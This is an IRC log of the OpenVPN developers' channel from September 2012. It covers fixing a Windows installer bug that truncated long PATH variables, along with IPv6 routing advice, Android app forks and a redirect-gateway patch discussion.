our stipped down version just adds the bin/ dir 08:28 <@cron2> this 08:29 <@d12fk> Hm look different to our code, there must have been updates since then 08:29 <@cron2> but the latop (64 bit win7, 64 bit installer) ended up with *only* this in the PATH, not appended, but replaced 08:29 <@d12fk> we're using AddToPath and had no complaints so far 08:30 <@d12fk> 64bit win7 is not that uncommon, so i'm almost sure we're not affected 08:30 <@cron2> d12fk: do you ship a 32- or 64-bit installer? 08:30 <@d12fk> 32 bit 08:30 <@d12fk> ist there a 64bit nsis? 08:31 <@cron2> "mattock is shipping something that claims to be 64bit openvpn", whatever is in there 08:31 <@d12fk> might be that it installs 64bit binaries, but the installer itself should be 32 08:32 <@cron2> no idea, but that's the one that broke $colleague's system 08:32 <@d12fk> however if you're searching the 64 bit registry that might cause the problem 08:32 <@d12fk> but i'd say it's rather mattocks domain to answer these questions 09:18 <@cron2> yes :-) - the question for you was more along the lines of "why do we need to set %PATH%?", and I think the answer was given by dazo "easy-rsa"... 09:19 <@dazo> ecrist: ^^^ maybe you can confirm this? ... do you think easy-rsa needs a modified PATH variable on Windows? 09:19 * ecrist reads 09:20 <@ecrist> I don't think we should 09:21 <@ecrist> but, I know almost nothing about the windows easy-rsa code 09:22 <@dazo> ecrist: I thought it would be needed, as we're shipping openssl.exe and puts it into the bin/ of openvpn ... but I dunno 09:22 <@ecrist> hrm 09:22 <@ecrist> I might need to look more into it. 09:25 <@dazo> wh00t!?! https://lwn.net/Articles/516736/ 09:25 <@vpnHelper> Title: Rackspace sued for hosting GitHub [LWN.net] (at lwn.net) 09:33 <@dazo> hehehe .... http://www.thinkgeek.com/product/f141/ 09:33 <@vpnHelper> Title: ThinkGeek :: Most Interesting Coder (at www.thinkgeek.com) 09:44 <@cron2> easy-rsa isn't even installed by default these days :) 09:44 <@cron2> anyway 09:44 <@cron2> installed 32 bit and 64 bit 2.3beta1 on win7/64, and could *not* reproduce the problem 09:44 <@cron2> this is not so good 09:49 <@cron2> it even works if I have global and per-user PATH environment variables set 09:53 <@dazo> cron2: I think it's the warning from the EnvVarUpdate wiki page ... if the PATH env variable is longer than 1024 with the appended data, it will replace the contents ... 09:57 <@cron2> that might be, but I wonder how a PATH could get to such lengths on a "normal" system 09:57 <@cron2> but anyway, *that* needs fixing, as in "in that case, display a warning and not change %PATH% then" 09:58 <@dazo> cron2: didn't someone say "eclipse" ? ... java stuff 09:59 <@cron2> they do that...? 09:59 <@cron2> I know that they tend to do ugly things to CLASSPATH and such... but maybe eclipse has tons of subdirectories and such... 09:59 <@dazo> that's what I was thinking 10:02 <@cron2> yeah 10:03 <@cron2> mailed mattock all we have so far, his problem now :) 11:01 * dazo heads out for some weeks now ... so see you October :) 11:03 -!- dazo is now known as dazo_afk 11:27 < plaisthos> see you 11:45 <@cron2> ugh 11:45 <@cron2> $colleague just sent me his PATH. 1395 bytes. 11:52 < plaisthos> clearly > 1024 11:59 <@cron2> very much so. interesting enough the 2.2 installer handled that fine 12:51 <@ecrist> how do I clean my current git tree so it exactly matches the remote repo? 14:44 <@cron2> rm -rf ; git clone 15:02 <@cron2> to bed now... g'night folks 17:07 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 17:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 23:26 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Sep 20 2012 02:45 <@mattock> hi all 02:46 <@mattock> don't be surprised if I'm not around on Tue or Wed, I'm swamped atm 02:46 <@cron2> *sigh*, Windows installers... Roxio places 4 directories in the PATH list (one of them a duplicate)... none of them truly *necessary*... "IntelWirelessCommon" twice there, plus "Intel\WiFi\bin"... 02:46 <@cron2> mattock: good morning, there's a few surprises waiting for you :-) 02:46 <@mattock> yeah, noticed 02:47 <@mattock> the .nsi file used in 2.3-beta1 is different from the one in 2.2 02:47 <@mattock> the new one is Alon's handywork 02:47 <@mattock> I assume he took the .nsi file in install-win32 dir and modified that one 02:47 <@mattock> as I did for the python-based buildsystem earlier 02:48 <@mattock> I'll look into this 02:48 <@cron2> I got more info from my colleagues about their systems - they all have insanely huge PATH entries (1200, 1300 bytes), and 2.2 just appended "\programs\openvpn\bin" to it, while 2.3b1 messed up... 02:49 <@mattock> yep 02:49 <@mattock> fortunately this does not mean we have to release 2.3-beta2 02:49 <@mattock> just replace the windows installer with a fixed one 02:50 <@mattock> build 001 (or is it 002) 02:50 <@mattock> or so I hope :) 02:53 <@mattock> yeah, openvpn.nsi is now in the "openvpn-build" repo 02:53 <@mattock> so no need for openvpn-2.3_beta2 02:56 <@cron2> yep, that's what dazo and I assumed 03:14 <@mattock> it seems I just need to rebuild nsis on ubuntu to support longer strings 03:15 <@mattock> will need to play with apt-src a bit 03:17 <@cron2> mattock: either that, or print out an error message and "not add the path". Since we don't install openssl.exe/easy-rsa (by default) anymore, we don't *really* need the PATH change 03:27 <@mattock> wouldn't PATH change affect GUI/service? 03:27 <@mattock> i.e. not adding openvpn\bin to PATH 03:28 <@mattock> anyways, I'm building a special NSIS version with 8192 char string limit 03:28 <@mattock> I can create new Windows installers for testing easily 03:29 <@mattock> after that 03:32 <@cron2> mattock: d12fk says that the GUI just looks up the install directory in the registry, so doesn't need the PATH 03:32 <@mattock> ah, ok 03:32 <@cron2> no idea about service 03:32 <@cron2> never used service, as it doesn't work for us (I need to enter username+onetime-password, and service can't handle that) 03:35 <@mattock> rebuilding windows installers 03:35 <@mattock> care to test after they're complete 03:35 <@mattock> ? 03:36 <@mattock> makensis binary says that "NSIS_MAX_STRLEN=8192" which is good 03:36 <@cron2> I can do that, but have no win64 with insane path lengths yet... need to build that :) 03:39 <@mattock> :D 03:39 <@mattock> was it dazo's collegues who had those path names 03:39 <@mattock> ? 03:40 <@cron2> mine 03:40 <@cron2> I am forcing all our corp VPN users away from PPTP and onto OpenVPN, and one of them came back yesterday with "after I installed 2.3b1, half of my system was borked, eclipse was broken, CVS was broken, ping was broken(!)". Which scared me a bit. 03:42 <@mattock> yeah, sounds scary :) 03:43 <@mattock> apparently this affects mostly Windows developers 03:43 <@mattock> nobody else has such long PATHs 03:43 <@mattock> and *NIX doesn't need ridicuously long PATHs at all 03:44 <@mattock> the same issue should be present on older openvpn installs 03:44 <@mattock> I mean versions 03:44 <@mattock> -> lunch 03:48 <@cron2> mattock: 2.2 worked fine on such a system, so it seems you got a bigger-stringlengh NSIS binary 03:49 <@cron2> (or maybe the older version *cough* did dynamic string lenghts?) 04:55 -!- coffe [~coffe@sto.alatest.se] has joined #openvpn-devel 04:56 < coffe> cron2 should i really route-ip6 my /48 on the router thats also is the points that conencts to internet ? 04:57 <@cron2> coffe: this depends what you want to use it for - if the /48 is for OpenVPN usage, then route-ipv6 it. If you only use parts, like a /52 or so, route-ipv6 that 04:57 <@cron2> "route-ipv6" basically tells OpenVPN "please tell the system that this prefix should go to OpenVPN!" 05:00 < coffe> cron2, no its not the entire 48 .. its just some subnets 05:00 <@cron2> then I'd route-ipv6 those subnets (or a /52 or so, that encompasses all the subnets in use) 05:01 < coffe> i have 1 /64 thats connected . 05:02 <@cron2> that one does not need to be route-ipv6'ed, as --server-ipv6 does that automatically 05:02 <@cron2> but if you want to "iroute-ipv6" a network to the other side, you need to "route-ipv6" it from the server into OpenVPN 05:06 < coffe> cron2, tnx ... having a strange icmpv6_send: no reply to icmp error problem 05:10 <@mattock> uh, wrong build number, rebuilding... 05:55 <@mattock> new installers here: 05:55 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-install-2.3_beta1-I002-i686.exe 05:55 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-install-2.3_beta1-I002-x86_64.exe 05:56 <@mattock> if the patched makensis works as expected, PATH should not get truncated anymore 06:00 <@cron2> I'll mistreat my VM to generate a huuuge PATH and then try 06:02 <@mattock> excellent! 06:08 <@cron2> ok, "path" output filling a whole cmd.exe window now... 06:11 <@cron2> uh. *this* installer is not working - "please select which components to install" - and then there's an empty list 06:11 <@cron2> both for 32 and 64 bit one 06:12 <@mattock> hmm, I'll check 06:12 <@mattock> interesting, given that only makensis was changed 06:22 <@mattock> hmm, yes, same problem here 06:22 <@mattock> the archive is almost empty, so nsis is messed up somehow 06:35 <@mattock> hmm, all the required stuff is there, but just does not get installed 06:40 <@mattock> rebuilding with the old makensis 06:41 <@mattock> it'll take a while to debug this 07:10 < coffe> cron2, simplest way of turning of ipv6 ? would it destroy anything if i did remove ipv6 address from the interface ? 07:17 <@cron2> coffe: just remove the --server-ipv6 and --route-ipv6 stuff (or use "ip addr delete ..." and "ip route delete...") 07:25 < coffe> cron2, tnx 07:41 < plaisthos> coffe: about your questions regarding the android version, ipv6 works 07:41 < plaisthos> coffe: and for the tap vs tun there are entries in the in app FAQ 07:45 < plaisthos> interesting a (heavly) modified version of app:https://play.google.com/store/apps/details?id=net.hideman 07:45 <@vpnHelper> Title: Hideman VPN - Android Apps on Google Play (at play.google.com) 07:47 <@cron2> plaisthos: that's a fork of your app? 07:50 < plaisthos> cron2: yepp 07:51 <@cron2> oh, there's more - if you just search for VPN, there's "OpenVPN client by colucci-web.it" which also claims to use VPNService API 07:51 < plaisthos> cron2: yes but I don't know if that is really a fork of my app 07:52 <@cron2> it looks different 07:52 < plaisthos> the hideman there a two reason a) I mailed with those guys and b) a quick apk extra shows a lot of de.blinkt.openvpn classes :) 07:52 <@cron2> I'm still surprised that so many people are working on OpenVPN-on-Android apps and not cooperating or contributing back 07:53 < plaisthos> the colluci-web-it was released aobut 1 month after my client 07:53 < plaisthos> but since you have a 1 minute trail or have to pay 4,99 euro nobody seems to bother about it 07:54 <@cron2> surprise :) 07:54 <@cron2> "how to shoot yourself into the foot 101" :) 07:54 < plaisthos> cron2: the hideman guys said they have some bugfixes for my client they will send me 07:54 <@cron2> "NeoRouter VPN" is also interesting, they claim "easier than OpenVPN", so the search finds it... 07:55 <@cron2> plaisthos: *that* makes sense - sharing code, and focusing on different goals - as hideman seems to be more intent on providing the anonymizing VPN service 07:55 <@mattock> default ubuntu 12.04 makensis produces working installer 07:56 <@mattock> I'll check if it's the nsis build that causes the issue, or max string length 07:57 <@cron2> heh, Feat VPN is cool "open a L2TP VPN internally, and redirect that to OpenVPN" 07:57 < plaisthos> cron2: the hideman app seems to have about the same amount of installations as my own client both have 10000-50000 according to google play 07:57 <@cron2> I did something like that on AIX (which has no tun/tap), speaking PPP via PTY to the AIX pppd... didn't work out in the end, because AIX' pppd is too borked to be useful, but was a nice hack 07:59 < plaisthos> (which translates to 30000 installs with 18000 active in my case) 07:59 <@cron2> impressive, this 08:13 < plaisthos> .oO(funny side note, the hideman vpn has different costs depending on using it from your pc and telephone, but if you my openvpn code well enough you can steal the openvpn config from the phone :D 08:21 <@cron2> haha 08:30 < coffe> plaisthos, tnx . will set it up when i will be back home in 2 weeks. 08:32 < plaisthos> coffe: ipv6 payload should work out of the box 08:32 < plaisthos> for ipv6 transport you need to use a crude hack atm 08:33 < plaisthos> coffe: http://code.google.com/p/ics-openvpn/issues/detail?id=69 08:33 <@vpnHelper> Title: Issue 69 - ics-openvpn - Feature request About the udp6 - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 08:42 < coffe> plaisthos, tnx 09:40 <@mattock> hmm, for some reason modifying makensis build options triggers this 09:40 <@mattock> I'll have to continue with this tomorrow 10:56 -!- coffe [~coffe@sto.alatest.se] has quit [Quit: Leaving] 16:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 17:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 21:02 -!- ender| [krneki@foo.eternallybored.org] has quit [Ping timeout: 250 seconds] 21:14 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 21:56 -!- ender| [krneki@foo.eternallybored.org] has quit [Ping timeout: 244 seconds] 23:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Sep 21 2012 02:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 04:04 <@mattock> cron2: these installers seem to work properly with long PATH: 04:04 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-install-2.3_beta1-I003-i686.exe 04:04 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-install-2.3_beta1-I003-x86_64.exe 04:04 <@mattock> I successfullly reproduced the PATH truncation myself with build 001 (original 2.3_beta1) 04:05 <@mattock> with these builds, openvpn\bin was appended correctly 04:05 <@mattock> I will need to rebuild the installer before releasing it, as it has some NSIS debugging crap in it 04:08 <@cron2> cool 04:09 <@cron2> I can't test right now (VM at home and host not booted, myself at work) 04:09 <@mattock> ok, np 04:29 <@mattock> rebuilding openvpn with rebuilt makensis (no logging/debugging crap) 04:31 <@cron2> meh... why can't I use --fragment in a client-config file? 05:36 <@mattock> cron2: because the option parser needs rewriting? 05:38 <@mattock> ok, hopefully release-ready installers here: 05:38 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-install-2.3_beta1-I003-i686.exe 05:38 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-install-2.3_beta1-I003-x86_64.exe 05:38 <@mattock> oops 05:38 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-install-2.3_beta1-I002-x86_64.exe 05:38 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-install-2.3_beta1-I002-i686.exe 05:38 <@mattock> build number 002 05:39 <@mattock> I'll test them briefly, just in case 05:43 <@mattock> seems to work 05:54 <@cron2> have you tested with a long path? 06:12 <@mattock> yes 06:12 <@mattock> did not get truncated 06:13 <@mattock> also did basic smoketests with the GUI, so it's not completely broken otherwise, either 06:21 <@cron2> cool - then "go for it" :) 08:28 <@ecrist> good morning. 09:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:05 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:42 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 13:46 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: Leaving] 13:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 13:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat Sep 22 2012 06:05 -!- ender| [krneki@foo.eternallybored.org] has quit [Ping timeout: 244 seconds] 06:42 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 23:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] --- Day changed Sun Sep 23 2012 13:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 14:26 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:26 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:20 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 16:46 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Remote host closed the connection] 16:50 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel --- Day changed Mon Sep 24 2012 01:47 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:09 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 02:33 <@mattock> if there are no complaints about the "long PATH" windows installer, I'll release it now 03:02 <@mattock> done 03:02 <@mattock> added a note to the download pages 03:02 <@mattock> don't think it's worth massive announcements 04:16 <@cron2> mattock: thanks. Couldn't test it, too busy, but as it worked in your tests, I trust you :) 05:25 <@vpnHelper> RSS Update - tickets: #228: "Assertion failed at buffer.c:331" with up/down options and "script-security 2 system" <https://community.openvpn.net/openvpn/ticket/228> 08:10 -!- AlexLetov [~alex@140.101.15.2] has joined #openvpn-devel 08:11 < AlexLetov> Hello all! Could you help me with finding documentation about OpenVPN protocol specification? 08:13 < AlexLetov> !meetings 08:13 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 08:26 < AlexLetov> Anybody here? 08:37 <@d12fk> AlexLetov: short story: there is none 08:38 <@d12fk> i've been directed to the source for details in the past 08:39 <@d12fk> iirc there are some comments in there that describe the general layout of the packets 08:39 <@d12fk> but they are far from a spec 08:39 < AlexLetov> d12fk, thanks. Will go to sources... 08:48 -!- AlexLetov [~alex@140.101.15.2] has left #openvpn-devel ["Ухожу я от вас"] 10:05 -!- coffe [~coffe@sto.alatest.se] has joined #openvpn-devel 10:06 < coffe> cron2 it seems i have some problem with my firewall . anything you been having ? ( running FW om the same host) 10:11 <@cron2> coffe: well, you need to tell your firewall that you want IPv6 10:11 <@cron2> nothing particular otherwise 10:15 < coffe> cron2, there is something not letting icmp-errors resonses .. trying to understand this .. 10:22 <@cron2> without looking at your system in detail, hard to say anything about that - ip6tables might be part of the problem, yes 10:22 < coffe> i am using shorewall6 10:27 <@ecrist> coffe: this isn't the support channel, #openvpn is the main support channel. Also, it appears your issue isn't openvpn specific. 10:28 < coffe> ecrist, i know , just asked cron2 if he know any known problems with ipv6 and openvpn regarding firewalls. 13:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:38 -!- keitsi [keitsi@shell.jkry.org] has joined #openvpn-devel 13:39 < keitsi> hi, I have a patch for openvpn 2.2.2. here http://shell.jkry.org/~keitsi/misc/openvpn-redirect-gateway-remote.patch 13:40 < keitsi> basicly it overrides the --remote ip address used by --redirect-gateway 13:40 <@ecrist> keitsi: were you looking for feedback? The mailing list is generally better. 13:40 < keitsi> I need it because I route vpn traffic through localhost, a corporate thing 13:40 <@ecrist> you do what? 13:40 <+krzee> uhh 13:41 <+krzee> you setup a routing loop for corporate reasons? 13:41 < keitsi> openvpn connects to a software running on localhost, which does some magic that is required 13:41 <+krzee> hehe 13:41 <@ecrist> what sort of magic? 13:41 < keitsi> NDA magic ;) 13:41 <@ecrist> ugh 13:41 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:41 -!- mode/#openvpn-devel [+o dazo] by ChanServ 13:42 <+krzee> you'll need a better explanation to get the patch included 13:42 <+krzee> lol 13:44 < keitsi> fine, if you think it's totally unnecessary, I can live without the patch in mainline 13:45 < keitsi> you think I should try and send it to mail list anyway? 13:46 <+krzee> i dont, im just saying you might wanna give a lil more info on why anyone would care about it when you shoot an email to the list 13:46 <+krzee> because it the only reason it matters is a big secret, i doubt anyone will care 13:46 <+krzee> i know i wouldnt 13:47 < keitsi> I can't give much details about what I'm doing with the connection (NDA), but basicly openvpn connect to software on localhost, which connects to the remote endpoint. in which case this patch is needed for redirect-gateway. 13:47 -!- coffe [~coffe@sto.alatest.se] has quit [Excess Flood] 13:47 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 13:47 -!- Netsplit *.net <-> *.split quits: @cron2 13:47 <+krzee> heh, sounds like nothing more than tor 13:48 < keitsi> I understand that this isn't something many people would use 13:48 -!- Netsplit over, joins: @cron2 14:03 <+krzee> if it actually works with tor i bet there would be quite a few who would use 14:03 <+krzee> use it* 14:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 274 seconds] 14:13 -!- ender| [krneki@foo.eternallybored.org] has quit [Ping timeout: 274 seconds] 14:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:24 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 15:02 < plaisthos> keitsi: I don't think you need that special feature 15:02 < plaisthos> route yourvpnserver net_gateway should work 15:04 < plaisthos> no extra patch needed :) 15:26 <@cron2> ecrist: how's your PRs going? 16:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 17:38 <@ecrist> stale. :\ 17:39 <@ecrist> the guy that normally pushes them out for me is AFK it seems 17:39 * ecrist pings him again 18:30 -!- d12fk [~heiko@exit0.net] has quit [Write error: Connection reset by peer] 18:30 -!- bantu_ [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 18:31 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Read error: Connection reset by peer] 18:35 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 18:37 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 18:37 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Sep 25 2012 03:02 < keitsi> <plaisthos> route yourvpnserver net_gateway should work 03:02 < keitsi> interesting, although wouldn't openvpn still try to route 127.0.0.1/32? 03:03 < keitsi> also I don't know if the order of routes would be correct (openvpn could create a route loop before the correct route is up?) 03:04 < keitsi> imho overriding the address is the "correct" way to do it 03:07 < keitsi> that way the redirect-gateway procedure works as before, but with the correct address 03:10 -!- d457k [~heiko@exit0.net] has joined #openvpn-devel 03:10 -!- mode/#openvpn-devel [+o d457k] by ChanServ 03:11 -!- d457k is now known as d12fk 04:10 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 04:12 < plaisthos> keitsi: route statements are processed in the order they appear in the configuration 04:13 < plaisthos> you should be able to replace the redirect-gateway with the route statements that exactly do what you want 04:57 < keitsi> plaisthos, so, the redirect_default_route_to_vpn() and undo_redirect_default_route_to_vpn() calls are unnecessary, and redirect-gateway option could expand to "route" commands at higher level? 04:58 < keitsi> too bad I already made the patch :) 04:59 < keitsi> maybe I will revert my change & use route next time I do changes to the vpn package 05:02 < keitsi> hmm, route removal probably can't be done? but I'm using def1 anyway so I don't need it 05:02 < keitsi> how about dns bypass, I would need to implement getting the dns server myself? 05:03 < keitsi> /* route DHCP/DNS server traffic through original default gateway */ 05:03 < keitsi> add_bypass_routes (&rl->spec.bypass, rl->spec.net_gateway, tt, flags, es); 05:04 < keitsi> or is there a variable for dns as well? 05:16 <@cron2> route removal is "rollback", so it will undo whatever it installed in reverse order 05:16 <@cron2> (but you can't push a "remove this route", no) 05:19 < keitsi> if you don't use def1 flag, existing default route must be removed first 05:19 < keitsi> (I prefer def1) 05:22 < keitsi> what about bypass-dns or dhcp, can I do that with route without knowing the dns server(s) when doing configuration parameters? 05:42 < keitsi> " or as one of three special keywords" according to 2.2 man page: http://openvpn.net/index.php/manuals/427-openvpn-22.html 05:42 <@vpnHelper> Title: OpenVPN 2.2 (at openvpn.net) 05:42 < keitsi> there's none for dns or dhcp though 05:43 < keitsi> I'll be keeping my patch, I don't need to implement platform specific dns/dhcp server retrieval to my software 05:47 -!- bantu_ is now known as bantu 06:50 < plaisthos> keitsi: yes. Implementing DNS/DHCP as special keyword for route would be probably a better idea. redirect-gateway iirc does some to check if the openvpn server is on your local network but I think you don't need that 06:51 < plaisthos> I think having the dhcp/dns as special keywords for route command would have a broader use than your patch 06:51 < plaisthos> I would like to avoid to give openvpn just another strange special feature 06:51 < plaisthos> it already has _more_ than enough of these 06:51 < plaisthos> half of them not even documented anywhere 07:24 <@cron2> haha 07:24 <@cron2> couldn't image why he's saying that 07:27 < plaisthos> Documenting external-key-management is on my TODO list :) 07:27 < plaisthos> So at least I don't use any undocumented options :D 07:45 < keitsi> plaisthos, yeah, I don't need that. it would be good to rewrite my code to use special dns/dhcp variable. also maybe it would a good idea to rewrite redirect*-functions to expand as higher level special routes? 07:45 < keitsi> in the meantime, I'll be using my patch 07:54 < plaisthos> keitsi: yes. 08:27 <@ecrist> cron2: the guy that normally pushes out my ports had an issue at $work, and thus pulled his own repo access for safety. I've got another person's attention now, and hope to have these pushed out today 08:31 <@ecrist> does anyone know how well building with clang has been tested? 08:32 <@cron2> ecrist: thanks. ISTR that plaisthos tested with clang (and send patches based on the warnings given), but we're not buildbot-testing it 08:34 <@ecrist> I'm being asked by some freebsd devs 08:34 <@ecrist> freebsd is working hard on getting everything buildable with clang 08:37 < plaisthos> on mac os x you don't really a gcc anymore 08:37 <@ecrist> cron2: if we could use another buildbot on freebsd, one's been offered by one of the comitters 08:37 < plaisthos> only clang and llvmgcc42 09:23 < plaisthos> I think my cleanup patches also removed some dead code that should not have been dead code 11:34 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 11:35 < reiffert> hey everybody 11:35 < reiffert> plaisthos: there's a guy on #openvpn asking for getting some help with android. In case you are interested. Thanks. 11:38 < plaisthos> reiffert: I will join 11:40 < reiffert> plaisthos: thanks, appreciate it 11:46 < reiffert> we didn't even begin with an investigation for foobar80 ... 12:10 < plaisthos> reiffert: yeah, for the app he using I am as clueless as anybody else here I fear 12:10 < reiffert> thanks ayway :) 12:11 < plaisthos> OpenVPN for Android and OpenVPN Settings are both generic names 12:11 < plaisthos> maybe too generic 12:11 < plaisthos> :D 12:12 < reiffert> I guess they are. Rename into "Working OpenVPN for Android" :P 12:12 < plaisthos> :D 12:13 < plaisthos> My app has a bit higher rating ;) 12:14 < plaisthos> 4,8 instead 4,6 so it works better 9; 12:15 < reiffert> I'll try it at some time .. right now I don't see any purpose of openvpn for my android. 12:15 < reiffert> Using openvpn on my computers and connecting them using tethering 12:16 < reiffert> unless I get a stowaway bluetooth keyboard and a terminal emulator for my android 12:16 < plaisthos> on a tablet it makes more sense 12:16 < plaisthos> or securing your traffic when you are on a unecrypted hotspot 12:17 < reiffert> oh yeah, that might work. I always wanted to tunnel ip over DNS on my android .. but I ran out of time on a daily basis 12:18 < reiffert> getting rid of those freaky "pay 5 USD for 1 hour internet access" at the airport 12:18 < reiffert> s 14:41 < plaisthos> :D 14:41 < plaisthos> Is there a good tunnel over DNS library? 16:53 <@cron2> ecrist: regarding that buildbot question - well, I currently cover 7, 8 and 9, and I don't see acute need for another one --- Day changed Wed Sep 26 2012 07:08 <@ecrist> cron2: that's what I figured, he said the offer stands 07:20 <@cron2> thanks 07:38 <@vpnHelper> RSS Update - wishlist: Traffic Obfuscation to escape Deep Paket Inspection <http://forums.openvpn.net/topic11267.html> || Flooding of bridged packets to unknown MAC addresses <http://forums.openvpn.net/topic11225.html> || SCTP support in OpenVPN <http://forums.openvpn.net/topic11145.html> || iroute as global directive with certificate CN <http://forums.openvpn.net/topic11139.html> || a bug of openvpn windows client in nonblock m 08:08 <@vpnHelper> RSS Update - wishlist: Traffic Obfuscation to escape Deep Paket Inspection <http://forums.openvpn.net/topic11267.html> || Flooding of bridged packets to unknown MAC addresses <http://forums.openvpn.net/topic11225.html> || SCTP support in OpenVPN <http://forums.openvpn.net/topic11145.html> || iroute as global directive with certificate CN <http://forums.openvpn.net/topic11139.html> || a bug of openvpn windows client in nonblock m 08:46 * ecrist updates forum software and tapatalk plugin --- Log closed Wed Sep 26 11:02:28 2012 --- Log opened Thu Sep 27 08:32:47 2012 08:32 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:32 -!- Irssi: #openvpn-devel: Total of 14 nicks [6 ops, 0 halfops, 0 voices, 8 normal] 08:32 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:32 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 22:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Sep 28 2012 07:26 -!- Devaux [~roger@91.138.46.62] has joined #openvpn-devel 07:26 < Devaux> Hey :) 07:27 < Devaux> I'm not a developer. Just wanted to ask where's the add-device-script in http://swupdate.openvpn.org/community/releases/openvpn-install-2.3_beta1-I002-x86_64.exe? 08:09 <@ecrist> what do you mean? 08:11 < reiffert> Guess if there comes a add tap kernel driver / device driver with the installer 08:20 < Devaux> Yes, but only one driver 08:21 < Devaux> In previous versions there was a script which added a new one 08:21 < plaisthos> Devaux: the tap driver is also available as seperate package 08:21 < Devaux> And how to add? 08:21 < plaisthos> iirc 08:22 < Devaux> There was a batchfile 08:23 < Devaux> add-tap-device.bat or something like this 08:33 < plaisthos> yes whihc called tapinstall.exe 08:33 < plaisthos> is the tapinstall.exe still there? 10:42 < Devaux> plaisthos: No, not in the Beta :( 10:49 <@ecrist> Devaux: mattock is a good one to ask - he's the one that rolls up the windows installers 10:59 < Devaux> Aaah. Thanks :) 10:59 < Devaux> mattock: Maybe he will read later then :) 13:46 <@ecrist> cron2: those ports have both been comitted. 15:17 <@cron2> good. will upgrade on monday :) 15:31 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 15:32 < novaflash> this channel is scary 